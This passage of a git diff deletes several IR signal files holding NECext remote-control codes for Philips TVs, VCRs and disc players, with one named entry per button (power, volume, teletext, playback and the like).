00 00 -# -name: TV_PRG_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: VCR_PRG_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: VCR_MODE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: TV_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: VCR_SLEEP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: TV_TEXT_HOLD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: VCR_TEXT_HOLD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: TV_TEXT_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: VCR_SCAN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: VCR_TEXT_TIME -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: TV_TEXT_ENLARGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: VCR_TEXT_ENLARGE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: TV_TEXT_REVEAL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: VCR_TEXT_REVEAL -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: TV_TEXT_CANCEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: VCR_TEXT_CANCEL -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: TV_TEXT_MODE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: VCR_TEXT_MODE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: VCR_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: TV_TEXT_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: VCR_REV -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: TV_TEXT_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: VCR_FF -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: TV_TEXT_INDEX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: VCR_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: TV_TEXT_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: VCR_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: TV_TEXT_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: VCR_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: TV_SOURCE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: VCR_SOURCE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 38 00 00 00 -# -name: TV_TEXT_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: VCR_TEXT_SELECT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3C 00 00 00 -# -name: TV_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: VCR_SELECT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir deleted file mode 100644 index 4428d679a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: pp -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: dbb -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: stereo -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: spatial -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir deleted file mode 100644 index a2568f116..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir +++ /dev/null @@ -1,332 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: pp -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: bright+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: bright- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: color+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: color- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: tvtxt_freeze -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: tvtxt_large -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: tvtxt_background -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: teletext+tv -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: ext1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: ext2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: blue+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: red- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: off -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: pip -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: pip_move -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: pip_switch -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: pip_source -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 -# -name: pip_still -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 65 00 00 00 -# -name: pip_prog+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 66 00 00 00 -# -name: pip_prog- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 67 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: tvtxt_index -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 76 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir deleted file mode 100644 index 664606e2b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: n0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: n1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: n2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: n3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: n4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: n5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: n6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: n7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: n8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: n9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: scan -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir deleted file mode 100644 index 2f4cd7b78..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: tv-0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: tv-1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: tv-2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: tv-3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: tv-4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: tv-5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: tv-6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: tv-7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: tv-8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: tv-9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: tv-channel/program_back -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: tv-standby -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: tv-mute -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: tv-info -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: tv-vol+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: tv-vol- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: tv-channel/program+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: tv-channel/program- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: tv-external -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: tv-display -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: tv-1st/2nd_language -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: tv-menu_function -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: tv-cursor_step_up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: tv-cursor_step_down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: tv-cursor_step_left -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: tv-cursor_step_right -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: tv-acknowledge -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: tv-teletext_submode_(J:12) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: tv-pause -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 67 00 00 00 -# -name: tv-recording -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: tv-speed- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: tv-stop -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 -# -name: tv-play -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 70 00 00 00 -# -name: tv-speed+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 71 00 00 00 -# -name: tv-timer_programming -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7F 00 00 00 -# -name: tv-activecontrol -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 96 00 00 00 -# -name: tv-solarization -type: parsed -protocol: NECext -address: 00 00 00 00 -command: CC 00 00 00 -# -name: tv-zoom -type: parsed -protocol: NECext -address: 00 00 00 00 -command: E7 00 00 00 -# -name: tv-image_pref -type: parsed -protocol: NECext -address: 00 00 00 00 -command: F3 00 00 00 -# -name: tv-sound_pref -type: parsed -protocol: NECext -address: 00 00 00 00 -command: F4 00 00 00 -# -name: tv-format -type: parsed -protocol: NECext -address: 00 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir deleted file mode 100644 index bd9509d44..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: dim -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: ff-right -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: ff-left -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: scan -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: repeat-ab -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 48 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: sound-mode -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: menu-disc -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: menu-system -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 -# -name: t-c -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C8 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 -# -name: fts -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir deleted file mode 100644 index 065a019d5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir deleted file mode 100644 index e1fd21490..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_AB -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: KEY_SWITCHVIDEOMODE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: KEY_SCREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: KEY_YELLOW -type: parsed 